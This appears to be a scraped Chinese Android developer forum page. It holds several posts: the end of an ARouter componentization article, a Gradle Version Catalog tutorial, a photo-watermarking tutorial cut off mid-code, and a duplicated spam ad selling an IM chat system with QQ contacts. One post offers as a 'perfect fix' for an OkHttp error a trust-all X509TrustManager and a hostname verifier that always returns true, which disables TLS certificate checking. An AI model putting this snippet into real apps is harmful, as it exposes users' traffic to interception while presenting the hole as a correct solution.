   public void onViewCreated(@NonNull @NotNull View view, @Nullable @org.jetbrains.annotations.Nullable Bundle savedInstanceState) {
       super.onViewCreated(view, savedInstanceState);
       ARouter.getInstance().inject(this);
       binding.frgmentHomeFab.setOnClickListener(new View.OnClickListener() {
           @Override
           public void onClick(View v) {
               MLog.e("Login:"+accountService.isLogin());
               MLog.e("AccountId:"+accountService.getAccountId());

          }
      });
  }
}

img 运行结果:

E/-SCC-: AccountServiceImpl.isLogin
E/-SCC-: Login:true
E/-SCC-: AccountServiceImpl.getAccountId
E/-SCC-: AccountId:1000

🔥 七、总结

本文介绍了组件化、组件分层、解决了组件的独立调试、集成调试、页面跳转、组件通信等。

其实会了这些后你基本可以搭建自己的组件化项目了。其实最大的问题还是分组分层、组件划分。这个就需要根据你的实际情况来设置。

本项目比较糙,后面会慢慢完善。比如添加Gilde、添加MMVK、添加Room等。

项目传送门

💥 相关推荐

Android OkHttp+Retrofit+Rxjava+Hilt实现网络请求框架

💥 参考与感谢

“终于懂了” 系列:Android组件化,全面掌握!

Android 组件化最佳实践

手把手带你搭建一个优秀的Android项目架构


作者:Android帅次
来源:https://juejin.cn/post/7033954652315975688


收起阅读 »

Unable to extract the trust manager on Android10Platform 完美解决

Unable to extract the trust manager on Android10Platform网上有大致有两种解决方案,但都不靠谱。产生这个异常的根本原因是:builder.sslSocketFactory(sslContext.getSoc...
继续阅读 »

Unable to extract the trust manager on Android10Platform

网上有大致有两种解决方案,但都不靠谱。产生这个异常的根本原因是:

builder.sslSocketFactory(sslContext.getSocketFactory());
这个方式已经过时了,需要新的方式,如下:



final X509TrustManager trustManager = new X509TrustManager() {
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {

}

@Override
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {

}

@Override
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
};
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, new X509TrustManager[]{trustManager}, new SecureRandom());

OkHttpClient.Builder builder = new OkHttpClient().newBuilder()
.connectTimeout(15, TimeUnit.SECONDS)
.readTimeout(15,TimeUnit.SECONDS)
.addInterceptor(logInterceptor)
.sslSocketFactory(sslContext.getSocketFactory(),trustManager)
.hostnameVerifier(new HostnameVerifier() {

@Override
public boolean verify(String hostname, SSLSession session) {

return true;
}
});

收起阅读 »

国内知名Wchat团队荣誉出品顶级IM通讯聊天系统

iOS
国内知名Wchat团队荣誉出品顶级IM通讯聊天系统团队言语在先:想低价购买者勿扰(团队是在国内首屈一指的通信公司离职后组建,低价购买者/代码代码贩子者/同行勿扰/)。想购买劣质低等产品者勿扰(行业鱼龙混杂,想购买类似低能协议xmpp者勿扰)。想购买由类似ope...
继续阅读 »



国内知名Wchat团队荣誉出品顶级IM通讯聊天系统



团队言语在先:

想低价购买者勿扰(团队是在国内首屈一指的通信公司离职后组建,低价购买者/代码代码贩子者/同行勿扰/)

。想购买劣质低等产品者勿扰(行业鱼龙混杂,想购买类似低能协议xmpp者勿扰)

。想购买由类似openfire第三方开源改造而来的所谓第三方通信server者勿扰

。想购买没有做任何安全加密场景者勿扰(随便一句api 一个接口就构成了红包收发/转账/密码设置等没有任何安全系数可言的低质产品)

。想购买非运营级别通信系统勿扰(到处呼喊:最稳定/真正可靠/大并发/真正安全!所有一切都需要实际架构支撑以及理论数值测验)

。想购买无保障/无支撑者勿扰(1W/4W/10W低质产品不可谓没有,必须做到:大并发支持合同保障/合作支持运维保障/在线人数支持架构保障)

。想购买消息丢包者勿扰(满天飞的所谓消息确认机制,最简单的测验既是前端支持消息收发demo测试环境,低质产品一秒收发百条消息必丢必崩,

别提秒发千条/万条,更低质产品可测验:同时发九张图片/根据数字12345678910发送出去,必丢!android vs ios)

。想购买大容量群uer者勿扰(随便宣传既是万人大群/几千大群/群组无限,小团队产品群组上线用户超过4000群消息体量不用很大手机前端必卡)

。最重要一点:口口声声说要运营很大的系统 却想出十几个money的人群勿扰,买产品做系统一要稳定二要长久用三要抛开运维烦恼,预算有限那就干脆

别买,买了几万的系统你一样后面用不起来会烂掉!

。产品体系包括:android ios server adminweb maintenance httpapi h5 webpc (支持server压测/前端消息收发压测/httpapi压测)

。。支持源码,但需要您拿去做一个伟大的系统出来!

。。团队产品目前国内没有同质化,客户集中在国外,有求高质量产品的个人或团队可通过以下方式联系到我们(低价者勿扰!)

。。。球球:383189941 q 513275129

。。。。产品不多介绍直接加我 测试产品更直接

。。。。。创新从未停止 更新不会终止 大陆唯一一家支持大并发保障/支持合同费用包含运维支撑的团队 

收起阅读 »

【Gradle7.0】依赖统一管理的全新方式,了解一下~

前言 随着项目的不断发展,项目中的依赖也越来越多,有时可能会有几百个,这个时候对项目依赖做一个统一的管理很有必要,我们一般会有以下需求: 项目依赖统一管理,在单独文件中配置 不同Module中的依赖版本号统一 不同项目中的依赖版本号统一 ...
继续阅读 »

前言


随着项目的不断发展,项目中的依赖也越来越多,有时可能会有几百个,这个时候对项目依赖做一个统一的管理很有必要,我们一般会有以下需求:



  1. 项目依赖统一管理,在单独文件中配置

  2. 不同Module中的依赖版本号统一

  3. 不同项目中的依赖版本号统一


针对这些需求,目前其实已经有了一些方案:



  1. 使用循环优化Gradle依赖管理

  2. 使用buildSrc管理Gradle依赖

  3. 使用includeBuild统一配置依赖版本


上面的方案支持在不同Module间统一版本号,同时如果需要在项目间共享,也可以做成Gradle插件发布到远端,已经基本可以满足我们的需求
不过Gradle7.0推出了一个新的特性,使用Catalog统一依赖版本,它支持以下特性:



  1. 对所有module可见,可统一管理所有module的依赖

  2. 支持声明依赖bundles,即总是一起使用的依赖可以组合在一起

  3. 支持版本号与依赖名分离,可以在多个依赖间共享版本号

  4. 支持在单独的libs.versions.toml文件中配置依赖

  5. 支持在项目间共享依赖


使用Version Catalog


注意,Catalog仍然是一个孵化中的特性,如需使用,需要在settings.gradle中添加以下内容:


enableFeaturePreview('VERSION_CATALOGS')

从命名上也可以看出,Version Catalog其实就是一个版本的目录,我们可以从目录中选出我们需要的依赖使用
我们可以通过如下方式使用Catalog中声明的依赖


dependencies {
implementation(libs.retrofit)
implementation(libs.groovy.core)
}

在这种情况下,libs是一个目录,retrofit表示该目录中可用的依赖项。 与直接在构建脚本中声明依赖项相比,Version Catalog具有许多优点:



  • 对于每个catalog,Gradle都会生成类型安全的访问器,以便你在IDE中可以自动补全.(注:目前在build.gradle中还不能自动补全,可能是指kts或者开发中?)

  • 声明在catalog中的依赖对所有module可见,当修改版本号时,可以统一管理统一修改

  • catalog支持声明一个依赖bundles,即一些总是一起使用的依赖的组合

  • catalog支持版本号与依赖名分离,可以在多个依赖间共享版本号


声明Version Catalog


Version Catalog可以在settings.gradle(.kts)文件中声明。


dependencyResolutionManagement {
versionCatalogs {
libs {
alias('retrofit').to('com.squareup.retrofit2:retrofit:2.9.0')
alias('groovy-core').to('org.codehaus.groovy:groovy:3.0.5')
alias('groovy-json').to('org.codehaus.groovy:groovy-json:3.0.5')
alias('groovy-nio').to('org.codehaus.groovy:groovy-nio:3.0.5')
alias('commons-lang3').to('org.apache.commons', 'commons-lang3').version {
strictly '[3.8, 4.0['
prefer '3.9'
}
}
}
}

别名必须由一系列以破折号(-,推荐)、下划线 (_) 或点 (.) 分隔的标识符组成。
标识符本身必须由ascii字符组成,最好是小写,最后是数字。


值得注意的是,groovy-core会被映射成libs.groovy.core
如果你想避免映射可以使用大小写来区分,比如groovyCore会被处理成libs.groovyCore


具有相同版本号的依赖


在上面的示例中,我们可以看到三个groovy依赖具有相同的版本号,我们可以把它们统一起来


dependencyResolutionManagement {
versionCatalogs {
libs {
version('groovy', '3.0.5')
version('compilesdk', '30')
version('targetsdk', '30')
alias('groovy-core').to('org.codehaus.groovy', 'groovy').versionRef('groovy')
alias('groovy-json').to('org.codehaus.groovy', 'groovy-json').versionRef('groovy')
alias('groovy-nio').to('org.codehaus.groovy', 'groovy-nio').versionRef('groovy')
alias('commons-lang3').to('org.apache.commons', 'commons-lang3').version {
strictly '[3.8, 4.0['
prefer '3.9'
}
}
}
}

除了在依赖中,我们同样可以在build.gradle中获取版本,比如可以用来指定compileSdk


android {
compileSdk libs.versions.compilesdk.get().toInteger()


defaultConfig {
applicationId "com.zj.gradlecatalog"
minSdk 21
targetSdk libs.versions.targetsdk.get().toInteger()
}
}

如上,可以使用catalog统一compileSdk,targetSdk,minSdk的版本号


依赖bundles


因为在不同的项目中经常系统地一起使用某些依赖项,所以Catalog提供了bundle(依赖包)的概念。依赖包基本上是几个依赖项打包的别名。
例如,你可以这样使用一个依赖包,而不是像上面那样声明 3 个单独的依赖项:


dependencies {
implementation libs.bundles.groovy
}

groovy依赖包声明如下:


dependencyResolutionManagement {
versionCatalogs {
libs {
version('groovy', '3.0.5')
version('checkstyle', '8.37')
alias('groovy-core').to('org.codehaus.groovy', 'groovy').versionRef('groovy')
alias('groovy-json').to('org.codehaus.groovy', 'groovy-json').versionRef('groovy')
alias('groovy-nio').to('org.codehaus.groovy', 'groovy-nio').versionRef('groovy')
alias('commons-lang3').to('org.apache.commons', 'commons-lang3').version {
strictly '[3.8, 4.0['
prefer '3.9'
}
bundle('groovy', ['groovy-core', 'groovy-json', 'groovy-nio'])
}
}
}

如上所示:添加groovy依赖包等同于添加依赖包下的所有依赖项


插件版本


除了Library之外,Catalog还支持声明插件版本。
因为library由它们的groupartifactversion表示,但Gradle插件仅由它们的idversion标识。
因此,插件需要单独声明:


dependencyResolutionManagement {
versionCatalogs {
libs {
alias('jmh').toPluginId('me.champeau.jmh').version('0.6.5')
}
}
}

然后可以在plugins块下面使用


plugins {
id 'java-library'
id 'checkstyle'
// 使用声明的插件
alias(libs.plugins.jmh)
}

在单独文件中配置Catalog


除了在settings.gradle中声明Catalog外,也可以通过一个单独的文件来配置Catalog
如果在根构建的gradle目录中找到了libs.versions.toml文件,则将使用该文件的内容自动声明一个Catalog


TOML文件主要由4个部分组成:



  • [versions] 部分用于声明可以被依赖项引用的版本

  • [libraries] 部分用于声明Library的别名

  • [bundles] 部分用于声明依赖包

  • [plugins] 部分用于声明插件


如下所示:


[versions]
groovy = "3.0.5"
checkstyle = "8.37"
compilesdk = "30"
targetsdk = "30"

[libraries]
retrofit = "com.squareup.retrofit2:retrofit:2.9.0"
groovy-core = { module = "org.codehaus.groovy:groovy", version.ref = "groovy" }
groovy-json = { module = "org.codehaus.groovy:groovy-json", version.ref = "groovy" }
groovy-nio = { module = "org.codehaus.groovy:groovy-nio", version.ref = "groovy" }
commons-lang3 = { group = "org.apache.commons", name = "commons-lang3", version = { strictly = "[3.8, 4.0[", prefer="3.9" } }

[bundles]
groovy = ["groovy-core", "groovy-json", "groovy-nio"]

[plugins]
jmh = { id = "me.champeau.jmh", version = "0.6.5" }

如上所示,依赖可以定义成一个字符串,也可以将moduleversion分离开来
其中versions可以定义成一个字符串,也可以定义成一个范围,详情可参见rich-version


[versions]
my-lib = { strictly = "[1.0, 2.0[", prefer = "1.2" }

在项目间共享Catalog


Catalog不仅可以在项目内统一管理依赖,同样可以实现在项目间共享
例如我们需要在团队内制定一个依赖规范,不同组的不同项目需要共享这些依赖,这是个很常见的需求


通过文件共享


Catalog支持通过从Toml文件引入依赖,这就让我们可以通过指定文件路径来实现共享依赖
如下所示,我们在settins.gradle中配置如下:


dependencyResolutionManagement {
versionCatalogs {
libs {
from(files("../gradle/libs.versions.toml"))
}
}
}

此技术可用于声明来自不同文件的多个目录:


dependencyResolutionManagement {
versionCatalogs {
// 声明一个'testLibs'目录, 从'test-libs.versions.toml'文件中
testLibs {
from(files('gradle/test-libs.versions.toml'))
}
}
}

发布插件实现共享


虽然从本地文件导入Catalog很方便,但它并没有解决在组织或外部消费者中共享Catalog的问题。
我们还可能通过Catalog插件来发布目录,这样用户直接引入这个插件即可


Gradle提供了一个Catalog插件,它提供了声明然后发布Catalog的能力。


1. 首先引入两个插件


plugins {
id 'version-catalog'
id 'maven-publish'
}

然后,此插件将公开可用于声明目录的catalog扩展


2. 定义目录


上面引入插件后,即可使用catalog扩展定义目录


catalog {
// 定义目录
versionCatalog {
from files('../libs.versions.toml')
}
}

然后可以通过maven-publish插件来发布目录


3. 发布目录


publishing {
publications {
maven(MavenPublication) {
groupId = 'com.zj.catalog'
artifactId = 'catalog'
version = '1.0.0'
from components.versionCatalog
}
}
}

我们定义好groupId,artifactId,version,from就可以发布了
我们这里发布到mavenLocal,你也可以根据需要配置发布到自己的maven
以上发布的所有代码可见:Catalog发布相关代码


4. 使用目录


因为我们已经发布到了mavenLocal,在仓库中引入mavenLocal就可以使用插件了


# settings.gradle
dependencyResolutionManagement {
//...
repositories {
mavenLocal()
//...
}
}

enableFeaturePreview('VERSION_CATALOGS')
dependencyResolutionManagement {
versionCatalogs {
libs {
from("com.zj.catalog:catalog:1.0.0")
// 我们也可以重写覆盖catalog中的groovy版本
version("groovy", "3.0.6")
}
}
}

如上就成功引入了插件,就可以使用catalog中的依赖了
这样就完成了依赖的项目间共享,以上使用的所有代码可见:Catalog使用相关代码


总结


项目间共享依赖是比较常见的需求,虽然我们也可以通过自定义插件实现,但还是不够方便
Gradle官方终于推出了Catalog,让我们可以方便地实现依赖的共享,Catalog主要具有以下特性:



  1. 对所有module可见,可统一管理所有module的依赖

  2. 支持声明依赖bundles,即总是一起使用的依赖可以组合在一起

  3. 支持版本号与依赖名分离,可以在多个依赖间共享版本号

  4. 支持在单独的libs.versions.toml文件中配置依赖

  5. 支持在项目间共享依赖


本文所有相关代码


Catalog发布相关代码
Catalog使用相关代码


参考资料



Sharing dependency versions between projects

收起阅读 »

国内知名Wchat团队荣誉出品顶级IM通讯聊天系统

iOS
国内知名Wchat团队荣誉出品顶级IM通讯聊天系统团队言语在先:想低价购买者勿扰(团队是在国内首屈一指的通信公司离职后组建,低价购买者/代码代码贩子者/同行勿扰/)。想购买劣质低等产品者勿扰(行业鱼龙混杂,想购买类似低能协议xmpp者勿扰)。想购买由类似ope...
继续阅读 »



国内知名Wchat团队荣誉出品顶级IM通讯聊天系统



团队言语在先:

想低价购买者勿扰(团队是在国内首屈一指的通信公司离职后组建,低价购买者/代码代码贩子者/同行勿扰/)

。想购买劣质低等产品者勿扰(行业鱼龙混杂,想购买类似低能协议xmpp者勿扰)

。想购买由类似openfire第三方开源改造而来的所谓第三方通信server者勿扰

。想购买没有做任何安全加密场景者勿扰(随便一句api 一个接口就构成了红包收发/转账/密码设置等没有任何安全系数可言的低质产品)

。想购买非运营级别通信系统勿扰(到处呼喊:最稳定/真正可靠/大并发/真正安全!所有一切都需要实际架构支撑以及理论数值测验)

。想购买无保障/无支撑者勿扰(1W/4W/10W低质产品不可谓没有,必须做到:大并发支持合同保障/合作支持运维保障/在线人数支持架构保障)

。想购买消息丢包者勿扰(满天飞的所谓消息确认机制,最简单的测验既是前端支持消息收发demo测试环境,低质产品一秒收发百条消息必丢必崩,

别提秒发千条/万条,更低质产品可测验:同时发九张图片/根据数字12345678910发送出去,必丢!android vs ios)

。想购买大容量群uer者勿扰(随便宣传既是万人大群/几千大群/群组无限,小团队产品群组上线用户超过4000群消息体量不用很大手机前端必卡)

。最重要一点:口口声声说要运营很大的系统 却想出十几个money的人群勿扰,买产品做系统一要稳定二要长久用三要抛开运维烦恼,预算有限那就干脆

别买,买了几万的系统你一样后面用不起来会烂掉!

。产品体系包括:android ios server adminweb maintenance httpapi h5 webpc (支持server压测/前端消息收发压测/httpapi压测)

。。支持源码,但需要您拿去做一个伟大的系统出来!

。。团队产品目前国内没有同质化,客户集中在国外,有求高质量产品的个人或团队可通过以下方式联系到我们(低价者勿扰!)

。。。球球:383189941 q 513275129

。。。。产品不多介绍直接加我 测试产品更直接

。。。。。创新从未停止 更新不会终止 大陆唯一一家支持大并发保障/支持合同费用包含运维支撑的团队 

收起阅读 »

快来为你的照片添加个性标签吧!

搜索问题、话题或人… 问题 文章 代码 视频 活动· · ·ydhjhs发起Android快来为你的照片添加个性标签吧! 前言 需求图.png PS:最近在项目执行过程中有这样一个需求,要求拍完照的图片必须达到以上的效果。需求分析: 使用用预览布局Surfa...
继续阅读 »

搜索问题、话题或人…
问题
文章
代码
视频
活动
· · ·
ydhjhs
发起
Android
快来为你的照片添加个性标签吧!


  1. 前言

需求图.png


PS:最近在项目执行过程中有这样一个需求,要求拍完照的图片必须达到以上的效果。需求分析:


使用用预览布局SurfaceView,在不局上方使用控件的方式来进行设计,最后通过截图的方式将画面进行保存。


使用图片添加水印的方式来完成。



  1. 方法1 使用SurfaceView

我心想这不简单吗?于是开始一顿balabala的操作,结果到最后一步时发现,SurfaceView居然不能进行截图,截图下来的图片居然是一张黑色的。简单地说这是因为SurfaceView的特性决定的,我们知道安卓中唯一可以在子线程中进行绘制的view就只有Surfaceview了。他可以独立于子线程中绘制,不会导致主线程的卡顿,至于造成surfaceView黑屏的原因,可以移步这里
Android视图SurfaceView的实现原理分析。如果非要使用此方式时还是有三种思路来进行解决:
采用三种思路:


  1. 获取源头视频的截图作为SurfaceView的截图


  2. 获取SurfaceView的画布canvas,将canvas保存成Bitmap


  3. 直接截取整个屏幕,然后在截图SurfaceView位置的图



复制代码


但是我觉得这种方式太过繁琐,所以选择用添加水印的式来完成。



  1. 方法2 给拍照下来的图片添加水印

第一步:获取拍照权限








复制代码


这里使用到郭霖大佬的开源库PermissionX获取权限:


PermissionX.init(this)


.permissions(Manifest.permission.CAMERA,  Manifest.permission.RECORD_AUDIO)

.onExplainRequestReason { scope, deniedList ->

val message = "需要您同意以下权限才能正常使用"

scope.showRequestReasonDialog(deniedList, message, "确定", "取消")

}

.request { allGranted, grantedList, deniedList ->

if (allGranted) {

openCamera()

} else {

Toast.makeText(activity, "您拒绝了如下权限:$deniedList", Toast.LENGTH_SHORT).show()

}

}

复制代码


第二步:拍照


android 6.0以后,相机权限需要动态申请。


// 申请相机权限的requestCode


private static final int PERMISSION_CAMERA_REQUEST_CODE = 0x00000012;


/**


* 检查权限并拍照。

* 调用相机前先检查权限。

*/

private void checkPermissionAndCamera() {


   int hasCameraPermission = ContextCompat.checkSelfPermission(getApplication(),

Manifest.permission.CAMERA);

if (hasCameraPermission == PackageManager.PERMISSION_GRANTED) {

//有调起相机拍照。

openCamera();

} else {

//没有权限,申请权限。

ActivityCompat.requestPermissions(this,new String[]{Manifest.permission.CAMERA},

PERMISSION_CAMERA_REQUEST_CODE);

}

}


/**


* 处理权限申请的回调。

*/

@Override


public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {


   if (requestCode == PERMISSION_CAMERA_REQUEST_CODE) {

if (grantResults.length > 0

&& grantResults[0] == PackageManager.PERMISSION_GRANTED) {

//允许权限,有调起相机拍照。

openCamera();

} else {

//拒绝权限,弹出提示框。

Toast.makeText(this,"拍照权限被拒绝",Toast.LENGTH_LONG).show();

}

}

}


复制代码


调用相机进行拍照


申请权限后,就可以调起相机拍照了。调用相机只需要调用startActivityForResult传一个Intent就可以了,但是这个Intent需要传递一个uri,用于保存拍出来的图片,创建这个uri时,各个Android版本有所不同,需要进行版本兼容。


//用于保存拍照图片的uri


private Uri mCameraUri;



// 用于保存图片的文件路径,Android 10以下使用图片路径访问图片

private String mCameraImagePath;



// 是否是Android 10以上手机

private boolean isAndroidQ = Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.Q;



/**

* 调起相机拍照

*/

private void openCamera() {

Intent captureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);

// 判断是否有相机

if (captureIntent.resolveActivity(getPackageManager()) != null) {

File photoFile = null;

Uri photoUri = null;



if (isAndroidQ) {

// 适配android 10

photoUri = createImageUri();

} else {

try {

photoFile = createImageFile();

} catch (IOException e) {

e.printStackTrace();

}



if (photoFile != null) {

mCameraImagePath = photoFile.getAbsolutePath();

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {

//适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri

photoUri = FileProvider.getUriForFile(this, getPackageName() + ".fileprovider", photoFile);

} else {

photoUri = Uri.fromFile(photoFile);

}

}

}



mCameraUri = photoUri;

if (photoUri != null) {

captureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);

captureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

startActivityForResult(captureIntent, CAMERA_REQUEST_CODE);

}

}

}



/**

* 创建图片地址uri,用于保存拍照后的照片 Android 10以后使用这种方法

*/

private Uri createImageUri() {

String status = Environment.getExternalStorageState();

// 判断是否有SD卡,优先使用SD卡存储,当没有SD卡时使用手机存储

if (status.equals(Environment.MEDIA_MOUNTED)) {

return getContentResolver().insert(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new ContentValues());

} else {

return getContentResolver().insert(MediaStore.Images.Media.INTERNAL_CONTENT_URI, new ContentValues());

}

}



/**

* 创建保存图片的文件

*/

private File createImageFile() throws IOException {

String imageName = new SimpleDateFormat("yyyyMMdd_HHmmss", Locale.getDefault()).format(new Date());

File storageDir = getExternalFilesDir(Environment.DIRECTORY_PICTURES);

if (!storageDir.exists()) {

storageDir.mkdir();

}

File tempFile = new File(storageDir, imageName);

if (!Environment.MEDIA_MOUNTED.equals(EnvironmentCompat.getStorageState(tempFile))) {

return null;

}

return tempFile;

}

复制代码


接收拍照结果


@Override


protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {

super.onActivityResult(requestCode, resultCode, data);

if (requestCode == CAMERA_REQUEST_CODE) {

if (resultCode == RESULT_OK) {

if (isAndroidQ) {

// Android 10 使用图片uri加载

ivPhoto.setImageURI(mCameraUri);

} else {

// 使用图片路径加载

ivPhoto.setImageBitmap(BitmapFactory.decodeFile(mCameraImagePath));

}

} else {

Toast.makeText(this,"取消",Toast.LENGTH_LONG).show();

}

}

}

复制代码


注意:


这两需要说明一下,Android 10由于文件权限的关系,显示手机储存卡里的图片不能直接使用图片路径,需要使用图片uri加载。


另外虽然我在这里对Android 10和10以下的手机使用了不同的方式创建uri 和加载图片,但其实Android 10创建uri的方式和使用uri加载图片的方式在10以下的手机是同样适用的。
android 7.0需要配置文件共享。

android:name="androidx.core.content.FileProvider"

android:authorities="${applicationId}.fileprovider"

android:exported="false"

android:grantUriPermissions="true">


android:name="android.support.FILE_PROVIDER_PATHS"

android:resource="@xml/file_paths" />



复制代码


在res目录下创建文件夹xml ,放置一个文件file_paths.xml(文件名可以随便取),配置需要共享的文件目录,也就是拍照图片保存的目录。


<?xml version=”1.0” encoding=”utf-8”?>









name="images"

path="Pictures" />





复制代码


第三步:给拍照后得到的图片添加水印


@Override


protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {

super.onActivityResult(requestCode, resultCode, data);

if (requestCode == CAMERA_REQUEST_CODE) {

if (resultCode == RESULT_OK) {

Bitmap mp;

if (isAndroidQ) {

// Android 10 使用图片uri加载

mp = MediaStore.Images.Media.getBitmap(this.contentResolver, t.uri);

} else {

// Android 10 以下使用图片路径加载

mp = BitmapFactory.decodeFile(uri);

}

//对图片添加水印 这里添加一张图片为示例:

ImageUtil.drawTextToLeftTop(this,mp,"示例文字",30,R.color.black,20,30)

} else {

Toast.makeText(this,"取消",Toast.LENGTH_LONG).show();

}

}

}

复制代码


这里使用到一个ImageUtil工具类,我在这里贴上。如果需要使用可以直接拿走~


public class ImageUtil {


/**

* 设置水印图片在左上角

*

* @param context 上下文

* @param src

* @param watermark

* @param paddingLeft

* @param paddingTop

* @return

*/

public static Bitmap createWaterMaskLeftTop(Context context, Bitmap src, Bitmap watermark, int paddingLeft, int paddingTop) {

return createWaterMaskBitmap(src, watermark,

dp2px(context, paddingLeft), dp2px(context, paddingTop));

}



private static Bitmap createWaterMaskBitmap(Bitmap src, Bitmap watermark, int paddingLeft, int paddingTop) {

if (src == null) {

return null;

}

int width = src.getWidth();

int height = src.getHeight();

//创建一个bitmap

Bitmap newb = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);// 创建一个新的和SRC长度宽度一样的位图

//将该图片作为画布

Canvas canvas = new Canvas(newb);

//在画布 0,0坐标上开始绘制原始图片

canvas.drawBitmap(src, 0, 0, null);

//在画布上绘制水印图片

canvas.drawBitmap(watermark, paddingLeft, paddingTop, null);

// 保存

canvas.save(Canvas.ALL_SAVE_FLAG);

// 存储

canvas.restore();

return newb;

}



/**

* 设置水印图片在右下角

*

* @param context 上下文

* @param src

* @param watermark

* @param paddingRight

* @param paddingBottom

* @return

*/

public static Bitmap createWaterMaskRightBottom(Context context, Bitmap src, Bitmap watermark, int paddingRight, int paddingBottom) {

return createWaterMaskBitmap(src, watermark,

src.getWidth() - watermark.getWidth() - dp2px(context, paddingRight),

src.getHeight() - watermark.getHeight() - dp2px(context, paddingBottom));

}



/**

* 设置水印图片到右上角

*

* @param context

* @param src

* @param watermark

* @param paddingRight

* @param paddingTop

* @return

*/

public static Bitmap createWaterMaskRightTop(Context context, Bitmap src, Bitmap watermark, int paddingRight, int paddingTop) {

return createWaterMaskBitmap(src, watermark,

src.getWidth() - watermark.getWidth() - dp2px(context, paddingRight),

dp2px(context, paddingTop));

}



/**

* 设置水印图片到左下角

*

* @param context

* @param src

* @param watermark

* @param paddingLeft

* @param paddingBottom

* @return

*/

public static Bitmap createWaterMaskLeftBottom(Context context, Bitmap src, Bitmap watermark, int paddingLeft, int paddingBottom) {

return createWaterMaskBitmap(src, watermark, dp2px(context, paddingLeft),

src.getHeight() - watermark.getHeight() - dp2px(context, paddingBottom));

}



/**

* 设置水印图片到中间

*

* @param src

* @param watermark

* @return

*/

public static Bitmap createWaterMaskCenter(Bitmap src, Bitmap watermark) {

return createWaterMaskBitmap(src, watermark,

(src.getWidth() - watermark.getWidth()) / 2,

(src.getHeight() - watermark.getHeight()) / 2);

}



/**

* 给图片添加文字到左上角

*

* @param context

* @param bitmap

* @param text

* @return

*/

public static Bitmap drawTextToLeftTop(Context context, Bitmap bitmap, String text, int size, int color, int paddingLeft, int paddingTop) {

Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG);

paint.setColor(color);

paint.setTextSize(dp2px(context, size));

Rect bounds = new Rect();

paint.getTextBounds(text, 0, text.length(), bounds);

return drawTextToBitmap(context, bitmap, text, paint, bounds,

dp2px(context, paddingLeft),

dp2px(context, paddingTop) + bounds.height());

}



/**

* 绘制文字到右下角

*

* @param context

* @param bitmap

* @param text

* @param size

* @param color

* @return

*/

public static Bitmap drawTextToRightBottom(Context context, Bitmap bitmap, String text, int size, int color, int paddingRight, int paddingBottom) {

Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG);

paint.setColor(color);

paint.setTextSize(dp2px(context, size));

Rect bounds = new Rect();

paint.getTextBounds(text, 0, text.length(), bounds);

return drawTextToBitmap(context, bitmap, text, paint, bounds,

bitmap.getWidth() - bounds.width() - dp2px(context, paddingRight),

bitmap.getHeight() - dp2px(context, paddingBottom));

}



/**

* 绘制文字到右上方

*

* @param context

* @param bitmap

* @param text

* @param size

* @param color

* @param paddingRight

* @param paddingTop

* @return

*/

public static Bitmap drawTextToRightTop(Context context, Bitmap bitmap, String text, int size, int color, int paddingRight, int paddingTop) {

Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG);

paint.setColor(color);

paint.setTextSize(dp2px(context, size));

Rect bounds = new Rect();

paint.getTextBounds(text, 0, text.length(), bounds);

return drawTextToBitmap(context, bitmap, text, paint, bounds,

bitmap.getWidth() - bounds.width() - dp2px(context, paddingRight),

dp2px(context, paddingTop) + bounds.height());

}



/**

* 绘制文字到左下方

*

* @param context

* @param bitmap

* @param text

* @param size

* @param color

* @param paddingLeft

* @param paddingBottom

* @return

*/

public static Bitmap drawTextToLeftBottom(Context context, Bitmap bitmap, String text, int size, int color, int paddingLeft, int paddingBottom) {

Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG);

paint.setColor(color);

paint.setTextSize(dp2px(context, size));

Rect bounds = new Rect();

paint.getTextBounds(text, 0, text.length(), bounds);

return drawTextToBitmap(context, bitmap, text, paint, bounds,

dp2px(context, paddingLeft),

bitmap.getHeight() - dp2px(context, paddingBottom));

}



/**

* 绘制文字到中间

*

* @param context

* @param bitmap

* @param text

* @param size

* @param color

* @return

*/

public static Bitmap drawTextToCenter(Context context, Bitmap bitmap, String text, int size, int color) {

Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG);

paint.setColor(color);

paint.setTextSize(dp2px(context, size));

Rect bounds = new Rect();

paint.getTextBounds(text, 0, text.length(), bounds);

return drawTextToBitmap(context, bitmap, text, paint, bounds,

(bitmap.getWidth() - bounds.width()) / 2,

(bitmap.getHeight() + bounds.height()) / 2);

}



//图片上绘制文字

private static Bitmap drawTextToBitmap(Context context, Bitmap bitmap, String text, Paint paint, Rect bounds, int paddingLeft, int paddingTop) {

android.graphics.Bitmap.Config bitmapConfig = bitmap.getConfig();



paint.setDither(true); // 获取跟清晰的图像采样

paint.setFilterBitmap(true);// 过滤一些

if (bitmapConfig == null) {

bitmapConfig = android.graphics.Bitmap.Config.ARGB_8888;

}

bitmap = bitmap.copy(bitmapConfig, true);

Canvas canvas = new Canvas(bitmap);



canvas.drawText(text, paddingLeft, paddingTop, paint);

return bitmap;

}



/**

* 缩放图片

*

* @param src

* @param w

* @param h

* @return

*/

public static Bitmap scaleWithWH(Bitmap src, double w, double h) {

if (w == 0 || h == 0 || src == null) {

return src;

} else {

// 记录src的宽高

int width = src.getWidth();

int height = src.getHeight();

// 创建一个matrix容器

Matrix matrix = new Matrix();

// 计算缩放比例

float scaleWidth = (float) (w / width);

float scaleHeight = (float) (h / height);

// 开始缩放

matrix.postScale(scaleWidth, scaleHeight);

// 创建缩放后的图片

return Bitmap.createBitmap(src, 0, 0, width, height, matrix, true);

}

}



/**

* dip转pix

*

* @param context

* @param dp

* @return

*/
